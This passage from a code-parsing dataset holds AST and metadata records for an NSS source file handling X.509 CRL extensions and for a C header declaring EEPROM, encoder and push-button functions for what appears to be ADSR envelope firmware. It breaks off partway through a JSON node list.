589, 591, 593, 596, 598, 600, 602, 605, 606, 608, 611, 612, 615], "returns": [41, 69, 138, 206, 291, 354, 412, 494, 567, 613], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11, 14, 17, 20, 272, 379, 387, 522, 548], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 21, "universal_type": "function", "name": "unknown", "text_snippet": "SECStatus\nCERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)\n{\n return (cert_"}, {"node_id": 23, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)"}, {"node_id": 51, "universal_type": "function", "name": "tag,", "text_snippet": "SECStatus\nCERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)\n{\n return (cert_FindExtens"}, {"node_id": 53, "universal_type": "function", "name": "tag,", "text_snippet": "CERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)"}, {"node_id": 79, "universal_type": "function", "name": "SetCrlExts", "text_snippet": "static void\nSetCrlExts(void *object, CERTCertExtension **exts)\n{\n CERTCrl *crl = (CERTCrl *)objec"}, {"node_id": 81, "universal_type": "function", "name": "unknown", "text_snippet": "SetCrlExts(void *object, CERTCertExtension **exts)"}, {"node_id": 126, "universal_type": "function", "name": "*", "text_snippet": "void *\nCERT_StartCRLExtensions(CERTCrl *crl)\n{\n return (cert_StartExtensions ((void *)crl, crl->a"}, {"node_id": 130, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_StartCRLExtensions(CERTCrl *crl)"}, {"node_id": 153, "universal_type": "function", "name": "SetCrlEntryExts", "text_snippet": "static void\nSetCrlEntryExts(void *object, CERTCertExtension **exts)\n{\n CERTCrlEntry *crlEntry = ("}, {"node_id": 155, "universal_type": "function", "name": "unknown", "text_snippet": "SetCrlEntryExts(void *object, CERTCertExtension **exts)"}, {"node_id": 189, "universal_type": "function", "name": "*", "text_snippet": "void *\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)\n{\n return (cert_StartExten"}, {"node_id": 193, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)"}, {"node_id": 216, "universal_type": "function", "name": "*mark", "text_snippet": "SECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n "}, {"node_id": 218, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECIte"}, {"node_id": 357, "universal_type": "function", "name": "unknown", "text_snippet": "SECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n "}, {"node_id": 359, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCR"}, {"node_id": 497, "universal_type": "function", "name": "unknown", "text_snippet": "SECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)\n{\n SECItem encodedExtenValue;\n "}, {"node_id": 499, "universal_type": "function", "name": "unknown", "text_snippet": "CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"cert.h\"\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"secitem.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"secoid.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"secoidt.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"secder.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"secasn1.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"certxutl.h\"\n"}, {"node_id": 19, "text": "#include"}]}, "original_source_code": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n/*\n * Code for dealing with x.509 v3 crl and crl entries extensions.\n *\n * $Id: crlv2.c,v 1.7 2012/04/25 14:49:27 gerv%gerv.net Exp $\n */\n\n#include \"cert.h\"\n#include \"secitem.h\"\n#include \"secoid.h\"\n#include \"secoidt.h\"\n#include \"secder.h\"\n#include \"secasn1.h\"\n#include \"certxutl.h\"\n\nSECStatus\nCERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)\n{\n return (cert_FindExtensionByOID (crl->extensions, oid, value));\n}\n \n\nSECStatus\nCERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)\n{\n return (cert_FindExtension (crl->extensions, tag, value));\n}\n\n\n/* Callback to set extensions and adjust verison */\nstatic void\nSetCrlExts(void *object, CERTCertExtension **exts)\n{\n CERTCrl *crl = (CERTCrl *)object;\n\n crl->extensions = exts;\n DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);\n}\n\nvoid *\nCERT_StartCRLExtensions(CERTCrl *crl)\n{\n return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));\n}\n\nstatic void\nSetCrlEntryExts(void *object, CERTCertExtension **exts)\n{\n CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;\n\n crlEntry->extensions = exts;\n}\n\nvoid *\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)\n{\n return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));\n}\n\nSECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)\n{\n SECItem encodedExtenValue;\n SECItem *tmpItem = NULL;\n SECStatus rv;\n void *mark = NULL;\n\n encodedExtenValue.data = NULL;\n encodedExtenValue.len = 0;\n\n rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n\t\t\t &encodedExtenValue);\n if ( rv != SECSuccess )\n\treturn (rv);\n\n mark = PORT_ArenaMark(arena);\n\n tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);\n if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }\n\n PORT_Free (encodedExtenValue.data);\n if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }\n return (rv);\n}\n\nSECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)\n{\n SECItem wrapperItem = {siBuffer,0};\n SECItem tmpItem = {siBuffer,0};\n SECStatus rv;\n PRArenaPool *arena = NULL;\n\n arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); \n if ( ! arena ) {\n\treturn(SECFailure);\n }\n \n rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);\n if ( rv != SECSuccess ) {\n\tgoto loser;\n }\n\n rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);\n\n if ( rv != SECSuccess ) {\n\tgoto loser;\n }\n\n *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);\n\nloser:\n if ( arena ) {\n\tPORT_FreeArena(arena, PR_FALSE);\n }\n \n if ( wrapperItem.data ) {\n\tPORT_Free(wrapperItem.data);\n }\n\n return (rv);\n}\n\nSECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)\n{\n SECItem encodedExtenValue;\n SECItem decodedExtenValue = {siBuffer,0};\n SECStatus rv;\n\n encodedExtenValue.data = decodedExtenValue.data = NULL;\n encodedExtenValue.len = decodedExtenValue.len = 0;\n\n rv = cert_FindExtension\n\t (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);\n if ( rv != SECSuccess )\n\treturn (rv);\n\n rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n\t\t\t SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);\n if (rv == SECSuccess)\n\trv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);\n PORT_Free (decodedExtenValue.data);\n PORT_Free (encodedExtenValue.data);\n return (rv);\n}\n"}
81,156
c
/* --|----------------------------------------------------------------------------| --| FILE DESCRIPTION: --| input_processing.h provides an interface for using various input --| processing helper functions. --| --|----------------------------------------------------------------------------| --| REFERENCES: --| None. --| --|----------------------------------------------------------------------------| */ #ifndef INPUT_PROCESSING_H_INCLUDED #define INPUT_PROCESSING_H_INCLUDED /* --|----------------------------------------------------------------------------| --| PUBLIC FUNCTION PROTOTYPES --|----------------------------------------------------------------------------| */ /*------------------------------------------------------------------------------ Function Name: get_and_cache_adsr_settings_from_EEPROM Function Description: Read the ADSR settings stored in the EEPROM and update the values of the ADSRs with those settings. Parameters: None Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void get_and_cache_adsr_settings_from_EEPROM(void); /*------------------------------------------------------------------------------ Function Name: store_cached_adsr_settings_in_EEPROM Function Description: Store the cached ADSR settings in the EEPROM. Parameters: None Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void store_cached_adsr_settings_in_EEPROM(void); /*------------------------------------------------------------------------------ Function Name: eeprom_save_is_pending Function Description: Return true if there is new data to be written to the EEPROM, else false. Parameters: None Returns: Boolean, true if an EEPROM write is pending, else false. Assumptions/Limitations: None ------------------------------------------------------------------------------*/ bool eeprom_save_is_pending(void); /*------------------------------------------------------------------------------ Function Name: poll_encoders Function Description: Poll the four encoders and select the active encoder to the last encoder to be turned. Parameters: None. Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void poll_encoders(void); /*------------------------------------------------------------------------------ Function Name: poll_pushbuttons Function Description: Poll the four push-buttons and set the active ADSR to the last button clicked, and set the ADSR mode to lock-to-master if there is a long button press. Parameters: None. Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void poll_pushbuttons(void); /*------------------------------------------------------------------------------ Function Name: update_ADSR_inputs Function Description: Update the Attack, Decay, Sustain, and Release inputs for each of the four ADSRs based on the encoder readings and current mode. Parameters: None. Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void update_ADSR_inputs(void); /*------------------------------------------------------------------------------ Function Name: poll_gate_and_trigger_inputs Function Description: Poll the gate and trigger inputs and deliver gate on/off messages to the ADSRs. Parameters: None. Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void poll_gate_and_trigger_inputs(void); /*------------------------------------------------------------------------------ Function Name: set_encoders_to_active_adsr_values Function Description: Set the encoders to the values held by active ADSR and update the cached encoder settings. Parameters: None Returns: None. Assumptions/Limitations: Assumes that all initialization is complete. ------------------------------------------------------------------------------*/ void set_encoders_to_active_adsr_values(void); #endif
34.02
131
(translation_unit) "/*\n--|----------------------------------------------------------------------------|\n--| FILE DESCRIPTION:\n--| input_processing.h provides an interface for using various input\n--| processing helper functions.\n--| \n--|----------------------------------------------------------------------------|\n--| REFERENCES:\n--| None.\n--|\n--|----------------------------------------------------------------------------|\n*/\n\n#ifndef INPUT_PROCESSING_H_INCLUDED\n#define INPUT_PROCESSING_H_INCLUDED\n\n/*\n--|----------------------------------------------------------------------------|\n--| PUBLIC FUNCTION PROTOTYPES\n--|----------------------------------------------------------------------------|\n*/\n\n/*------------------------------------------------------------------------------\nFunction Name:\n get_and_cache_adsr_settings_from_EEPROM\n\nFunction Description:\n Read the ADSR settings stored in the EEPROM and update the values of\n the ADSRs with those settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid get_and_cache_adsr_settings_from_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n store_cached_adsr_settings_in_EEPROM\n\nFunction Description:\n Store the cached ADSR settings in the EEPROM.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid store_cached_adsr_settings_in_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n eeprom_save_is_pending\n\nFunction Description:\n Return true if there is new data to be written to the EEPROM, else false.\n\nParameters:\n None\n\nReturns:\n Boolean, true if an EEPROM write is pending, else false.\n\nAssumptions/Limitations:\n None\n------------------------------------------------------------------------------*/\nbool eeprom_save_is_pending(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_encoders\n\nFunction Description:\n Poll the four encoders and select the active encoder to the last\n encoder to be turned.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_encoders(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_pushbuttons\n\nFunction Description:\n Poll the four push-buttons and set the active ADSR to the last button\n clicked, and set the ADSR mode to lock-to-master if there is a long\n button press.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_pushbuttons(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n update_ADSR_inputs\n\nFunction Description:\n Update the Attack, Decay, Sustain, and Release inputs for each of the\n four ADSRs based on the encoder readings and current mode.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid update_ADSR_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_gate_and_trigger_inputs\n\nFunction Description:\n Poll the gate and trigger inputs and deliver gate on/off messages to the\n ADSRs.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_gate_and_trigger_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n set_encoders_to_active_adsr_values\n\nFunction Description:\n Set the encoders to the values held by active ADSR and update the cached\n encoder settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid set_encoders_to_active_adsr_values(void);\n\n#endif\n" (comment) "/*\n--|----------------------------------------------------------------------------|\n--| FILE DESCRIPTION:\n--| input_processing.h provides an interface for using various input\n--| processing helper functions.\n--| \n--|----------------------------------------------------------------------------|\n--| REFERENCES:\n--| None.\n--|\n--|----------------------------------------------------------------------------|\n*/" (preproc_ifdef) "#ifndef INPUT_PROCESSING_H_INCLUDED\n#define INPUT_PROCESSING_H_INCLUDED\n\n/*\n--|----------------------------------------------------------------------------|\n--| PUBLIC FUNCTION PROTOTYPES\n--|----------------------------------------------------------------------------|\n*/\n\n/*------------------------------------------------------------------------------\nFunction Name:\n get_and_cache_adsr_settings_from_EEPROM\n\nFunction Description:\n Read the ADSR settings stored in the EEPROM and update the values of\n the ADSRs with those settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid get_and_cache_adsr_settings_from_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n store_cached_adsr_settings_in_EEPROM\n\nFunction Description:\n Store the cached ADSR settings in the EEPROM.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid store_cached_adsr_settings_in_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n eeprom_save_is_pending\n\nFunction Description:\n Return true if there is new data to be written to the EEPROM, else false.\n\nParameters:\n None\n\nReturns:\n Boolean, true if an EEPROM write is pending, else false.\n\nAssumptions/Limitations:\n None\n------------------------------------------------------------------------------*/\nbool eeprom_save_is_pending(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_encoders\n\nFunction Description:\n Poll the four encoders and select the active encoder to the last\n encoder to be turned.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_encoders(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_pushbuttons\n\nFunction Description:\n Poll the four push-buttons and set the active ADSR to the last button\n clicked, and set the ADSR mode to lock-to-master if there is a long\n button press.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_pushbuttons(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n update_ADSR_inputs\n\nFunction Description:\n Update the Attack, Decay, Sustain, and Release inputs for each of the\n four ADSRs based on the encoder readings and current mode.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid update_ADSR_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_gate_and_trigger_inputs\n\nFunction Description:\n Poll the gate and trigger inputs and deliver gate on/off messages to the\n ADSRs.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_gate_and_trigger_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n set_encoders_to_active_adsr_values\n\nFunction Description:\n Set the encoders to the values held by active ADSR and update the cached\n encoder settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid set_encoders_to_active_adsr_values(void);\n\n#endif" (#ifndef) "#ifndef" (identifier) "INPUT_PROCESSING_H_INCLUDED" (preproc_def) "#define INPUT_PROCESSING_H_INCLUDED\n" (#define) "#define" (identifier) "INPUT_PROCESSING_H_INCLUDED" (comment) "/*\n--|----------------------------------------------------------------------------|\n--| PUBLIC FUNCTION PROTOTYPES\n--|----------------------------------------------------------------------------|\n*/" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n get_and_cache_adsr_settings_from_EEPROM\n\nFunction Description:\n Read the ADSR settings stored in the EEPROM and update the values of\n the ADSRs with those settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void get_and_cache_adsr_settings_from_EEPROM(void);" (primitive_type) "void" (function_declarator) "get_and_cache_adsr_settings_from_EEPROM(void)" (identifier) "get_and_cache_adsr_settings_from_EEPROM" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n store_cached_adsr_settings_in_EEPROM\n\nFunction Description:\n Store the cached ADSR settings in the EEPROM.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void store_cached_adsr_settings_in_EEPROM(void);" (primitive_type) "void" (function_declarator) "store_cached_adsr_settings_in_EEPROM(void)" (identifier) "store_cached_adsr_settings_in_EEPROM" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n eeprom_save_is_pending\n\nFunction Description:\n Return true if there is new data to be written to the EEPROM, else false.\n\nParameters:\n None\n\nReturns:\n Boolean, true if an EEPROM write is pending, else false.\n\nAssumptions/Limitations:\n None\n------------------------------------------------------------------------------*/" (declaration) "bool eeprom_save_is_pending(void);" (primitive_type) "bool" (function_declarator) "eeprom_save_is_pending(void)" (identifier) "eeprom_save_is_pending" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n poll_encoders\n\nFunction Description:\n Poll the four encoders and select the active encoder to the last\n encoder to be turned.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void poll_encoders(void);" (primitive_type) "void" (function_declarator) "poll_encoders(void)" (identifier) "poll_encoders" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n poll_pushbuttons\n\nFunction Description:\n Poll the four push-buttons and set the active ADSR to the last button\n clicked, and set the ADSR mode to lock-to-master if there is a long\n button press.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void poll_pushbuttons(void);" (primitive_type) "void" (function_declarator) "poll_pushbuttons(void)" (identifier) "poll_pushbuttons" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n update_ADSR_inputs\n\nFunction Description:\n Update the Attack, Decay, Sustain, and Release inputs for each of the\n four ADSRs based on the encoder readings and current mode.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void update_ADSR_inputs(void);" (primitive_type) "void" (function_declarator) "update_ADSR_inputs(void)" (identifier) "update_ADSR_inputs" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n poll_gate_and_trigger_inputs\n\nFunction Description:\n Poll the gate and trigger inputs and deliver gate on/off messages to the\n ADSRs.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void poll_gate_and_trigger_inputs(void);" (primitive_type) "void" (function_declarator) "poll_gate_and_trigger_inputs(void)" (identifier) "poll_gate_and_trigger_inputs" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/*------------------------------------------------------------------------------\nFunction Name:\n set_encoders_to_active_adsr_values\n\nFunction Description:\n Set the encoders to the values held by active ADSR and update the cached\n encoder settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/" (declaration) "void set_encoders_to_active_adsr_values(void);" (primitive_type) "void" (function_declarator) "set_encoders_to_active_adsr_values(void)" (identifier) "set_encoders_to_active_adsr_values" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (#endif) "#endif"
98
0
{"language": "c", "success": true, "metadata": {"lines": 131, "avg_line_length": 34.02, "nodes": 63, "errors": 0, "source_hash": "2ac528588f77927a961d0c82f41f470ff9792031cd75874beddcf8551c8b1b06", "categorized_nodes": 37}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef INPUT_PROCESSING_H_INCLUDED\n#define INPUT_PROCESSING_H_INCLUDED\n\n/*\n--|----------------------------------------------------------------------------|\n--| PUBLIC FUNCTION PROTOTYPES\n--|----------------------------------------------------------------------------|\n*/\n\n/*------------------------------------------------------------------------------\nFunction Name:\n get_and_cache_adsr_settings_from_EEPROM\n\nFunction Description:\n Read the ADSR settings stored in the EEPROM and update the values of\n the ADSRs with those settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid get_and_cache_adsr_settings_from_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n store_cached_adsr_settings_in_EEPROM\n\nFunction Description:\n Store the cached ADSR settings in the EEPROM.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid store_cached_adsr_settings_in_EEPROM(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n eeprom_save_is_pending\n\nFunction Description:\n Return true if there is new data to be written to the EEPROM, else false.\n\nParameters:\n None\n\nReturns:\n Boolean, true if an EEPROM write is pending, else false.\n\nAssumptions/Limitations:\n None\n------------------------------------------------------------------------------*/\nbool eeprom_save_is_pending(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_encoders\n\nFunction Description:\n Poll the four encoders and select the active encoder to the last\n encoder to be turned.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_encoders(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_pushbuttons\n\nFunction Description:\n Poll the four push-buttons and set the active ADSR to the last button\n clicked, and set the ADSR mode to lock-to-master if there is a long\n button press.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_pushbuttons(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n update_ADSR_inputs\n\nFunction Description:\n Update the Attack, Decay, Sustain, and Release inputs for each of the\n four ADSRs based on the encoder readings and current mode.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid update_ADSR_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n poll_gate_and_trigger_inputs\n\nFunction Description:\n Poll the gate and trigger inputs and deliver gate on/off messages to the\n ADSRs.\n\nParameters:\n None.\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid poll_gate_and_trigger_inputs(void);\n\n/*------------------------------------------------------------------------------\nFunction Name:\n set_encoders_to_active_adsr_values\n\nFunction Description:\n Set the encoders to the values held by active ADSR and update the cached\n encoder settings.\n\nParameters:\n None\n\nReturns:\n None.\n\nAssumptions/Limitations:\n Assumes that all initialization is complete.\n------------------------------------------------------------------------------*/\nvoid set_encoders_to_active_adsr_values(void);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 13, 20, 27, 34, 41, 48, 55, 62], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 173, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 2, "type": "identifier", "text": "INPUT_PROCESSING_H_INCLUDED", "parent": 0, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 35}}, {"id": 3, "type": "preproc_def", "text": "#define INPUT_PROCESSING_H_INCLUDED\n", "parent": 0, "children": [4, 5], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 7}}, {"id": 5, "type": "identifier", "text": "INPUT_PROCESSING_H_INCLUDED", "parent": 3, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 35}}, {"id": 6, "type": "declaration", "text": "void get_and_cache_adsr_settings_from_EEPROM(void);", "parent": 0, "children": [7, 8], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 51}}, {"id": 7, "type": "primitive_type", "text": "void", "parent": 6, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 4}}, {"id": 8, "type": "function_declarator", "text": "get_and_cache_adsr_settings_from_EEPROM(void)", "parent": 6, "children": [9, 10], "start_point": {"row": 39, "column": 5}, "end_point": {"row": 39, "column": 50}}, {"id": 9, "type": "identifier", "text": "get_and_cache_adsr_settings_from_EEPROM", "parent": 8, "children": [], "start_point": {"row": 39, "column": 5}, "end_point": {"row": 39, "column": 44}}, {"id": 10, "type": "parameter_list", "text": "(void)", "parent": 8, "children": [11], "start_point": {"row": 39, "column": 44}, "end_point": {"row": 39, "column": 50}}, {"id": 11, "type": "parameter_declaration", "text": "void", "parent": 10, "children": [12], "start_point": {"row": 39, "column": 45}, "end_point": {"row": 39, "column": 49}}, {"id": 12, "type": "primitive_type", "text": "void", "parent": 11, "children": [], "start_point": {"row": 39, "column": 45}, "end_point": {"row": 39, "column": 49}}, {"id": 13, "type": "declaration", "text": "void store_cached_adsr_settings_in_EEPROM(void);", "parent": 0, "children": [14, 15], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 48}}, {"id": 14, "type": "primitive_type", "text": "void", "parent": 13, "children": [], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 4}}, {"id": 15, "type": "function_declarator", "text": "store_cached_adsr_settings_in_EEPROM(void)", "parent": 13, "children": [16, 17], "start_point": {"row": 57, "column": 5}, "end_point": {"row": 57, "column": 47}}, {"id": 16, "type": "identifier", "text": "store_cached_adsr_settings_in_EEPROM", "parent": 15, "children": [], "start_point": {"row": 57, "column": 5}, "end_point": {"row": 57, "column": 41}}, {"id": 17, "type": "parameter_list", "text": "(void)", "parent": 15, "children": [18], "start_point": {"row": 57, "column": 41}, "end_point": {"row": 57, "column": 47}}, {"id": 18, "type": "parameter_declaration", "text": "void", "parent": 17, "children": [19], "start_point": {"row": 57, "column": 42}, "end_point": {"row": 57, "column": 46}}, {"id": 19, "type": "primitive_type", "text": "void", "parent": 18, "children": [], "start_point": {"row": 57, "column": 42}, "end_point": {"row": 57, 